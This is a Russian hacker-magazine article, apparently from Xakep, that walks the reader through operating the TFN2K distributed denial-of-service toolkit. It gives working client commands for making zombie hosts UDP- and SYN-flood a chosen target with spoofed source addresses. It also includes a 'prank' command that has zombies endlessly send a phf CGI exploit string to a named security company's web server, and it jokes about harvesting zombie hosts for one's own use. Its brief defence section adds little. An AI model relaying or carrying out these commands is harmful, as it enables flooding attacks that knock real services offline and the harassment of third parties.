DDOS - непобедимая сила Zoмби

Xakep, номер #039, стр. 039-062-2

Разархивируй архив. Жми make. Тебя попросят ввести пароль. Все, первая стадия завершена.

Итак, td - это собственно сервер. Запусти его на своей машине, а потом клиентом (tfn) отдаешь приказ:

#./tfn -P tcp -h localhost -i www.ВРАГ.ru -c 4

Protocol: tcp

Source IP: random

Client input: single host

Command: stop flooding

Password verification: #тут вводишь свой пароль.

Что, пароль неверный? :) Тогда скачай tfnRECOVERY (http://packetstorm.widexs.nl/distributed/tfn2kpass.c) компилируй ее, запускай

#./rec

и получи свой пароль. А мы пока проверим прогу в действии.

Сценарий 1

Итак, у тебя есть одна машина [A] с установленным tfn серваком. И цель - [B]. Что мы делаем? Набираем команду:

./tfn -P tcp -h [A] -i [B] -c 4

Теперь мы флудим хост [B], через хост [A] (опция 4 - UDP Flood), твой адрес по дефолту заспуфен, но его можно указать, используя опцию -S :).

Сценарий 2

У тебя есть несколько хостов с демоном tfn и все тот же противный хост [B]. Записывай ip'шки в файл. Теперь набирай:

#./tfn -P tcp -f your_ip_file -i [B] -c 5

Теперь все хосты в твоем ip файле будут флудить хост [B] SYN Flood'ом (опция 5).

Сценарий 3

Хост [B] молит о пощаде. Его нужно спасти:

#./tfn -P tcp -f your_ip_file -i [B] -c 0

Опция 0 означает отмену всяких флудов на хостах Zомби. Прикол от Mixter'а с IDS:

./tfn -h your_ip_file -c 10 -i "echo 'GET /cgi-bin/phf?Qname=x%0A/bin/something\%20is%20wrong%20whis%20your%20IDS' | telnet www.security-corporation.com 80"

Поясняю: опция 10 - выполнять хостам Zoмби какую-нибудь команду. IDS - система обнаружения вторжений, и phf баг точно находится в их базе; %20 - это пробел. Думаю, все понятно :). Zoмби хосты будут посылать эту команду на 80 порт бесконечно, пока не отключат или ВЫКЛЮЧАТ :), а IDS будет усиленно реагировать на это, засорять логи, посылать SMS'ки и т.д. Хочешь еще таких шуток? :) Читай README.

WinTrinoo

Ну и на закуску ддошный сервак для Windows от группы Razor. Открывает порт 34555 и добавляет себя в реестр. Имя - service.exe. Понятное дело, что любой маломальский админ засечет это. Достаточно набрать netstat-a, и все встанет на свои места :). Как ты уже, наверное, понял, таких прог - туча, например, TFN (первая версия), Trinoo, WinTrinoo, Sharf... Описывать их все просто нет смысла.

Защита

Если есть уязвимость - есть и защита... И наоборот. Но тут все труднее. Например, 100% защиты от всяких флудов придумать трудно, разве что устанавливать всякие лимиты и таймауты. Но можно выискивать хосты Zомби, основываясь на специфических особенностях каждой системы.

Представим реальную ситуацию - на твой хост поступает шквал бессмысленных пакетов с разных хостов. Что делать? Отключиться от сети? Deny-ить их? Связываться с их админами и рассказывать, как дестройнуть сервак ddos (достаточно убить сам демон и порожденный им процесс)? :) А если все тихо, то сидеть и сканировать весь Интернет на Zoмби хосты? А потом самому ими воспользоваться :). Проблема усугубляется еще тем, что свой адрес можно спокойно спуфить.